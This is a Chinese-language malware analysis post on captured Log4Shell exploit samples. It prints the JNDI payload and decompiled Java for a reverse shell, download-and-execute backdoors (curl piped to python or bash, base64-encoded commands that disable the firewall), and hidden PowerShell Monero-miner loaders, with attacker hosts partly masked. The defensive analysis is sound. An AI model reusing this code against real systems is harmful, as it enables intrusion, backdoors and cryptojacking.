Log4Shell 漏洞利用样本分析
公开时间:2022-03-22
本文对前段时间整理捕获到的 Log4Shell 漏洞利用样本做个简单的总结,这些恶意代码基本上覆盖了这类漏洞场景的常见利用手法,希望知己知彼,加强系统安全。
Payload 基本上都如出一辙:
${jndi:ldap://IP:1389/Exploit}
我想说的重点是如何将类文件下载,curl 是支持 LDAP 协议的,因此用 curl 即可:
$ curl ldap://[此处马赛克]:8888/x DN: x javaClassName: foo javaCodeBase: http://199.[此处马赛克].192:88/ <----- 基 URL objectClass: javaNamingReference javaFactory: Exploit <----- 后面加上 .class 就是类文件了
根据上面输出信息拼接出类文件的下载地址:
$ wget http://199.[此处马赛克].192:88/Exploit.class
捕获到的样本就三类:疑似刷流量、后门、挖矿木马。
1. 疑似刷流量
这个样本只是访问了某篇新闻,意义不明,可能是为了刷流量:
try { URL realUrl = new URL("http://www.[马赛克].com/1028"); URLConnection connection = realUrl.openConnection(); connection.connect(); new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8")); } catch (Exception var3) { var3.printStackTrace(); }
2. 后门
1、简单粗暴的反弹后门:
public Exploit() throws Exception { String var1 = "IP 地址"; short var2 = 4040; String var3 = "/bin/sh"; // 启动个 sh 进程,然后和远程主机 4040 端口建立 Socket 连接 // 并把 sh 的标准输入、输出重定向到 Socket 句柄,这样就能形成简单的反弹后门 Process var4 = (new ProcessBuilder(new String[]{var3})).redirectErrorStream(true).start(); Socket var5 = new Socket(var1, var2); InputStream var6 = var4.getInputStream(); InputStream var7 = var4.getErrorStream(); InputStream var8 = var5.getInputStream(); OutputStream var9 = var4.getOutputStream(); OutputStream var10 = var5.getOutputStream(); // 维持连接,并接收 shell 命令 while(!var5.isClosed()) { while(var6.available() > 0) { var10.write(var6.read()); } while(var7.available() > 0) { var10.write(var7.read()); } while(var8.available() > 0) { var9.write(var8.read()); } var10.flush(); var9.flush(); Thread.sleep(50L); try { var4.exitValue(); break; } catch (Exception var12) { } } var4.destroy(); var5.close(); }
2、下载 Python Meterpreter 后门:
try { String[] var0 = new String[]{"http://[马赛克]/oa/2020/SisTur/G99ZTE/m.py", "http://[马赛克]/59F1/christmas.py", "https://[马赛克]/HUS8/christmas.py"}; // 从上面的 URL 列表中随机选择一个 .py 的 URL Random var1 = new Random(); int var2 = var1.nextInt(var0.length); String var3 = var0[var2]; try { // 下载 .py 脚本并执行 String[] var4 = new String[]{"bash", "-c", "curl " + var3 + " | python3"}; Runtime.getRuntime().exec(var4).waitFor(); } catch (Exception var6) { var6.printStackTrace(); // 为了防止没有 python3 这个命令(尤其是某些 Docker 容器),用 python 重试 String[] var5 = new String[]{"bash", "-c", "curl " + var3 + " | python"}; Runtime.getRuntime().exec(var5).waitFor(); } } catch (Exception var7) { var7.printStackTrace(); }
3、另一种 Linux 后门,用 Base64 加密来逃避规则检测:
try { String var0 = "bash -c {echo,Y2QgL3Vzci9iaW47c3lzdGVtY3RsIGRpc2FibGUgZmlyZXdhbGxkO2Noa2NvbmZpZyBpcHRhYmxlcyBvZmY7dWZ3IGRpc2FibGU7d2dldCBodHRwOi8vMTU1Ljk0LjE1NC4xNzAv[马赛克一部分]FhYTtjaG1vZCA3NzcgYWFhOy4vYWFh}|{base64,-d}|{bash,-i}"; Runtime.getRuntime().exec(var0); }
中间的 Base64 为一段 shell 命令,负责停止防火墙服务、远程下载二进制后门,解码后如下:
cd /usr/bin;systemctl disable firewalld;chkconfig iptables off;ufw disable;wget http://[马赛克]/aaa;curl -O http://[马赛克]/aaa;chmod 777 aaa;./aaa
3. 挖矿
挖矿场景的代码就比上面的要复杂一些,例如下面捕获的一个挖门罗币的样本,会根据不同的操作系统下载不同的文件:
String[] var0 = new String[]{"/bin/bash", "-c", "(wget -qO - http://[马赛克]/.l/log || curl http://[马赛克]/.l/log) | sh"}; if (System.getProperty("os.name").toLowerCase().startsWith("win")) { var0 = new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('http://[马赛克]:80/wp-content/themes/twentyseventeen/s.cmd', $env:temp + '/s.cmd');start-process -FilePath 's.cmd' -WorkingDirectory $env:tmp"}; Runtime.getRuntime().exec(var0); var0 = new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $env:temp + '/oc.cmd');start-process -FilePath 'oc.cmd' -WorkingDirectory $env:tmp"}; } Runtime var1 = Runtime.getRuntime(); Process var2 = var1.exec(var0); var2.waitFor();
如果是 Windows 系统,就下载 PowerShell 脚本;Linux 则下载 shell 脚本,下载的脚本中会进一步下载挖矿木马。Linux 中分别尝试执行了 wget 和 curl,因为一些 Linux 发行版默认是没有 wget 命令的。
还有更为简单粗暴的:
try { exec("curl http://[马赛克]/d/loader.sh -o /tmp/.1.sh", (Writer)null); exec("wget http://[马赛克]/d/loader.sh -O /tmp/.1.sh", (Writer)null); exec("bash /tmp/.1.sh", (Writer)null); exec("bash -c \"curl http://[马赛克]/d/loader.sh|sh\"", (Writer)null); exec("bash -c {echo,Y3VybCBodHRwOi8vMTk5L[马赛克一部分]TIvZC9sb2FkZXIuc2h8YmFzaA==}|{base64,-d}|{bash,-i}", (Writer)null); exec("powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGo[马赛克一部分]LgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMTk5LjE5LjIyNi4xOTIvAGQALwBsAG8AYQBkAGUAcgAuAHAAcwAxACcAKQA7AA==", (Writer)null); exec("powershell.exe -exec bypass -C \"IEX (New-Object Net.WebClient).DownloadString('http://[马赛克]/d/loader.ps1')\"", (Writer)null); } catch (IOException var2) { }